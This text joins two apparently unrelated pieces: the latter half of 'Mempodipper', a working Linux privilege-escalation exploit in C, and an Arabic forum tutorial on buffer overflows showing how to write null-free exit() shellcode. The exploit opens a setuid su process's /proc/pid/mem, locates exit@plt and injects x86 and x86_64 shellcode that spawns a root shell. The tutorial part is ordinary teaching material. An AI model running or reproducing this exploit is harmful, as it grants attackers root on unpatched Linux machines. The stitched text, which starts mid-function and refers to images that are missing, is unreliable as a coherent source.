    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    close(listener);
    return fd;
}

int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%s/mem", argv[2]);
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(fd);
        return 0;
    }
   
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by fr.matrixar.com =\n");
    printf("===============================\n\n");
   
    int parent_pid = getpid();
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd();
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 6);
        dup2(fd, 2);

        unsigned long address;
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading su for exit@plt.\n");
            // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx.\n", address);
        }
        printf("[+] Calculating su padding.\n");
        FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - su_padding;
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
       
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char pid[32];
        sprintf(pid, "%d", parent_pid);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    }
}

في امان الله :)

البافر اوفر فلو: كتابة الشيل كود - before overflow

السلام عليكم ورحمة الله وبركاته



إن شاء الله تكونوا في تمام الصحة والعافية إخواني




كنا قد شفنا في الدرس السابق كيف نقوم بإستبدال قيمة RET داخل المكدس وذلك لالتحكم في EIP

وعندما تمكنا من التحكم في EIPجعلناها تشير إلى عنوان التعليمة في البرنامج التي نريد تنفيذها .

يعني بتحكمنا في المسجل EIP يمكننا أن نجعلها تشير إلى البايلود تبعنا و القابل للتنفيذ .


في هذا الشرح حنشوف الخطوات الأساسية لكتابة شيل كود بسيط قابل للتنفيذ وتخزينه في المكدس .


ماهو البايلود ؟

البايلود هو كود بلغة الآلة يتم تنفيذه من قبل المعالج مباشرة من دون أن يحتاج إلى الأسمبلر أو عملية compilation.

وهذا البايلود مايسمى بالشيلكود .

نستعمل هذا البايلود لإنتاج شيل بعد هجمات البافر أوفر فلو ... ومن هنا جائت تسميته بالشيل كود

لمذا سنكتب شيل كود ؟

نقوم بكتابة شيل كود وذلك لنجعل برنامج الهدف يشتغل بطريقة غير التي صمم من أجلها .

الطريقة الوحيدة لفعل ذلك هي إجبار البرنامج لعمل System Call أو نعبر عليه أيضا ب syscall
ال system call يسمح لنا بالوصول للكيرنل وذلك ليسمح

لنا الكيرنل بإستعمال الوضائف منخفضة المستوى مثل قرائة الملفات ()read

والكتابة فيها() write .. إلخ

يعني syscall هو واجهة بين وضع الكيرنيل المحمي (protected kernel mode)

ووضع المستخدم (user mode) في النظام .

كيف نقوم بكتابة الشيل كود ؟

توجد طريقتين لتنفيذ syscall في نظام linux :

إما نستعمل مكتبة libc بطريقة غير مباشرة .

وإما نقوم بتنفيذ syscall مباشرة بالأسمبلي وذلك بتحميل المسجلات ب arguments المناسبة ثم نستدعي التعليمة int 0x80 (software
interrupt) .

عندما يقوم برنامج في وضع مستخدم (user mode) بتنفيذ التعليمة int 0x80يتحول المعالج إلى وضع الكيرنل (kernel mode) ثم ينفذ الوضائف الموجودة في مكتبة أو واجهة syscall .

تتم هذه العملية كالتالي :

[1]تحميل رقم syscall المحدد في المسجل EAX

[2]يتم تحميل المسجلات بال arguments
المناسبة التي تحتاجها وظيفة في syscall.
مثلما شفنا في درس Hello World تنفيذ الوظيفة system call exit و write system call

[3] يتم تنفيذ التعليمة int 0x80

[4] يتحول المعالج إلى وضع الكيرنيل (kernel mode)

[5] يتم تنفيذ الوظيفة تبع system call



أبسط وظيفة في syscall هي exit()

و ما سنفعله في هذا الشرح هو كتابة شيل كود للوظيفة exit() تبع syscall

مهمة exit() هي إنهاء العملية الجاري تنفيذها .



ننتقل الآن إلى مراحل كتابة الشيل كود . [/COLOR]

[1] كتابة كود بلغة C ونجعله قابل للتنفيذ

نقوم بكتابة برنامج يقوم فقط عند تنفيذه بالمغادرة .

الكود كالتالي :

#include<stdlib.h>

main()
{
     exit(0);
}
وعند عملية compilation نستعمل الخاصية -static لمنع عملية الديناميك linker .

ثم :



كما لاحظتم إخواني فقط قام بالمغادرة .



المرحلة الثانية :

[2] نقوم بتحويل الكود المكتوب بلغة C إلى مايقابله من كود في لغة الأسمبلي

نقوم بذلك بفتح البرنامج مع GDB ثم كما في الصورة التالية :



نقوم بتحليل التعليمات :

وقلنا أن كلما نستخدم System Call هذه التعليمة int $0x80 تمثل Software interupt
وهي تدل على أنه تم إستدعاء System Call

نلاحظ عندما قمنا ب disas لل exit يوجد 2 software interrupt وهذا يعني أنه تم إستدعاء إثنين System Call

الأولى على هذا العنوان :

  0x0804f9c5
والثانية على هذا العنوان :

 0x0804f9cc
طيب إلى حد لآن عرفنا أنه تم إستخدام إثنين System Callتعالو نشوف الآن ماهما .



كنا قد ذكرنا أن System Call number يكون دائما

في المسجل EAX يعني ذلك أن من هذه التعليمة :

mov 0xfc, %eax
هذه التعليمة قامت بتحويل العدد 0xfc إلى المسجل EAX

هذا العدد مكتوب بالنظام السداسي العشري (hexdecimal) فنحوله للنظام العشري (decimal) يصبح 252

وهذا يعني أن System Call number يساوي 252 يعني تم إستدعاء الوظيفة تبع System Call التي تحمل الرقم 252 .

نفتح ترمينال جديد و نشوف ماهي الوظيفة التي تحمل الرقم 252 في System Call كما في الصورة التالية :



طيب إخواني كما لاحظتم في الصورة أن هذه الوظيفة هي exit_group .

طيب يعني في هذه الوظيفة exit()

تم إستدعاء الوظيفة الأولى تبع system call وهي exit_group

ثم تم إستدعاء الوظيفة الثانية تبع system call وهي exit

قلنا أنه يتم تحميل أول argument تبع وظيفة في syscall في المسجل EBX يعني هذه التعليمة :

 mov 0x4(%esp), %ebx
هذه تعني أننا قمنا بتحويل قيمة إلى المسجل EBX تم دفعها مسبقا في المكدس وكنا قد ذكرنا أن أول argument في syntax تبع exit()يمثل statut ونحوله في المسجل EBX يعني هذه القيمة هي 0
يعني 0 تبع (0)exit .




طيب الآن بعدما حللنا الكود وفهمنا مافيه ننتقل إلى المرحلة الثالثة


[3]حذف الأكواد الزائدة في الكود

طيب نحن الكود shell.c الذي كتبناه مهمته هو أنه عند تنفيذه يقوم بالمغادرة .

وقمنا قبل قليل بتحويل كود shell.c إلى الأسمبلي

ووجدنا أنه فيه إثنين system call وهما exitو exit_group

في هذه المرحلة حنحذف الأكواد الزائدة من الكود shell.c مع الحفاظ على مهمته .



حجم الشيل كود

يجب أن نجعل من الشيل كود صغير الحجم أقصى مايمكن . بقدر مايكون الشيل كود صغير بقدر مايكون أكثر فائدة .

تذكروا أننا سنقوم بتخزين الشيل كود داخل مكان مصاب في الذاكرة مخصص للمدخلات .
نقول مثلا حجم هذا المكان المصاب هو n بايت ,

فيجب علينا ملئ كل هذا المكان بالشيل كود يعني حجم الشيل كود تبعنا يجب أن يكون أصغر من n بايت .
ولهذا يجب علينا دائما تفكر الحجم .


نحن الآن لدينا في الشيل كود تبعنا 6 تعليمات بالأسمبلي .

ماهي مهمة الشيل كود تبعنا ؟
نحن نريد كتابة شيل كود للإستعمال exit syscall يعني مهمة الشيل كود تبعا هو فقط يقوم عند تنفيذه مع برنامج يقوم بإيقافه والمغادرة.

نأخذ التعليمة الأولى :

 mov 0x4(%esp), %ebx
قلنا هذه التعليمة خاصة بتخزين أول argument يحمل القيمة 0 في المسجل EBX

يعني يمكننا بكل بساطة القيام بتحميل المسجل EBX بالقيمة 0 يدويا وذلك بكتابة التعليمة التالية :

  movl $0, %ebx
إضافة إلى ذلك نحن نريد فقط كتابة شيل كود للوظيفة ()exit تبع syscall فيمكننا إزالة التعليمات تبع ()exit_group مادام ذلك لايؤثر على المهمة .

يعني التعليمات تبعنا في الأخير تصبح هكذا :

movl $0, %ebx
movl $1, %eax
int $0x80
الآن نكتب ذلك في برنامج بلغة الأسمبلي كالآتي :



الآن نقوم بعملية compilation ثم حنقوم بتحويل كود shell.s المكتوب بلغة الأسمبلي إلى opcodes((الأكواد التي يفهمها المعالج)) وعرض هذا الكود بشكل منظم وواضح للقرائة، حنستعمل في ذلك الأداة objdump كما في الصورة التالية :



كما تلاحظون إخواني في الصورة على اليمين لدينا تعليمات بلغة الأسمبلي ويوجد على اليسار مايوافق

كل تعليمة من opcodes .

هذه الأكواد مكتوبة بالنظام السداسي العشري ، فنقوم الآن بكتابتهآ في السكريبت نسميه مثلا shellcode.c وذلك بوضعها في صف واحد نسميه مثلا shellcode مع إضافة \x وطبعا نظيف الوظيفة ()main لجعل السكريبت قابل للتنفيذكما في الصورة التالية :



نقوم الآن بعملية compilation ونجرب الشيل كود تبعنا كما في الصورة التالية :



في الحقيقة هذا الشيل كود الذي كتبناه غير مستعمل في العالم الحقيقي لكتابة الثغرات .

لمذا ؟

نرجع للشيل كود تبعنا :
كود:
\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80

طيب إخواني لو نلاحظ أن الشيل كود تبعنا يحتوي على رموز مصفرة أي على \x00 ونحن قلنا أننا سنقوم بحقن هذا الشيلكود في البافر المخصصة لمدخلات المستخدم وهذه الرموز المصفرة ستفشل عملية الحقن وذلك لأن هذا الرمز \x00يستعمل لإنهاء السلاسل .

فيجب أن نجد طريقة لإستبدال هذه الرموز المصفرة برموز غير مصفرة مع الحفاظ على مهمة الشيل كود في نفس الوقت.

عموما توجد طريقتين لفعل ذلك :

الأولى : نقوم بكل بساطة بإستبدال التعليمات المكتوبة بلغة الأسمبلي والمتسببة في إنتاج هذه الرموز السيئة بتعليمات أخرى لاتنتج رموز سيئة وطبعا مع الحفاظ على نفس المهمة .

الثانية :

أصعب قليلا من الأولى ويتوجب علينا تحديد مكان الشيل كود في الذاكرة للقيام بها .


سنستعمل في هذا الدرس الطريقة الأولى لإزالة الرموز السيئة وحنشوف الطريقة الثانية لاحقا بإذن الله .

نرجع الآن إلى الصورة التي فيها تعليمات الأسمبلي ومايقابلها من opcodes كالآتي :



نلاحظ أن التعليمة الأولى والتعليمة الثانية هما المتسببتان في إنتاج الرموز السيئة أو المصفرة .

نبدأ بالتعليمة الأولى :

mov $0x0, %ebx
0x0هو بنظام الهيكس يعني يساوي 0 في النظام العشري .

ماهي مهمة هذه التعليمة ؟

تقوم هذه التعليمة بتحميل المسجل EBX بالرقم 0

طيب كيف يمكننا أن نجعل من الناتج يساوي 0 بدون إستعمال الرقم 0 عند كتابة التعليمة ؟

لدينا التعليمة المنطقية XOR في لغة الأسمبلي ترجع لنا القيمة 0إذا قمنا بمقارنة مسجلين نعلم أنهما متساويان .

يعني يمكننا أن نتحصل على القيمة0 من دون إستعمال القيمة 0داخل التعليمة .
وبما أننا لانريد أن نتحصل على رموز مصفرة فعوض أن نستعمل التعليمة mov لتحميل المسجل EBX بالقيمة 0يمكننا في ذلك إستعمال التعليمة XOR

يعني تقوم بمقارنة ebx بال ebx وبما أن ebx = ebx فالناتج حيكون 0

فأول تعليمة تبعنا :

mov $0x0, %ebx
تصبح :

xor %ebx, %ebx

ننتقل إلى التعليمة الثانية :


mov $0x1 , %eax

نلاحظ الآن في هذه التعليمة لم نستعمل القيمة 0 وورغم ذلك أنتجت التعليمة رموز مصفرة .

فمن أين أتت الرموز المصفرة إذا ؟

نحن إستعملنا في هذه التعليمة المسجل EAXوهو من عرض 32 بت .

وقمنا بتحميله فقط بالرقم 1 يعني حملناه فقط ببينات حجمها 1 بت ولكن المسجل ممتد على 32 بت فتم ملئ 8 بت الأولى منه بالرقم 1 والباقي تم ملئه بأصفار لتعويض الأماكن الفارغة مثلما لدينا مثلا
1 = 00001

فالأصفار الزائدة لاتؤثر في القيمة .

يمكننا تخطي هذا المشكل وذلك بإستعمال المسجل ALكما هو موضح في الصورة :



المسجل EAX من عرض 32 بت مقسم إلى مساحتين

بحجم 16 بت فيمكن الوصول إلى 16 بت الأولى تبعه من خلال المسجل AX وأيضا يمكن الوصول إلى 8 بت الأولى تبعه من خلال المسجل AL
وهذه المسجلات مربوطة ببعض يعني إذا قمنا بتغيير قيمة إحداهما فيتغير معها الباقي .

يعني ببساطة نحول الرقم 1 والذي قلنا حجمه 8 بت إلى المسجل AL مع الحفاظ على قيمة EAX
وبما أننا ملئنا كل المسجل Al فلن تبقى فيه أماكن فارغة وبذلك نتخلص من الرموز المصفرة يعني التعليمة تصبح كالآتي :

movb $1, %al
يعني الآن أصبح الكود تبعنا كالآتي :

xor %ebx, %ebx
movb $1, %al
int $0x80
طيب إخواني الآن بعدما قملنا بإزالة الرموز المصفرة تعالو نتأكد من ذلك بوضع هذه التعليمات في برنامج بالأسمبلي كالآتي :



نقوم بعملية compilation ثم نحوله إلى opcodes كالآتي :



كما تلاحظون إخواني تم إزالة الرموز المصفرة وإضافة إلى ذلك تم تقليص حجم الشيل كود تبعنا .

نكمل الخطوات كالسابق نضع الشيل كود في كود السي كما هو موضح في الصورة التالية :




ثم نقوم بعملية compilation وننفذه كالآتي :



طبعا نحن إلى حد الآن قمنا بكتابة شيل كود بسيط لل exit system call بقي لنا أن نقوم بحقنه وتنفيذه في الذاكرة وذلك بإدخاله في main()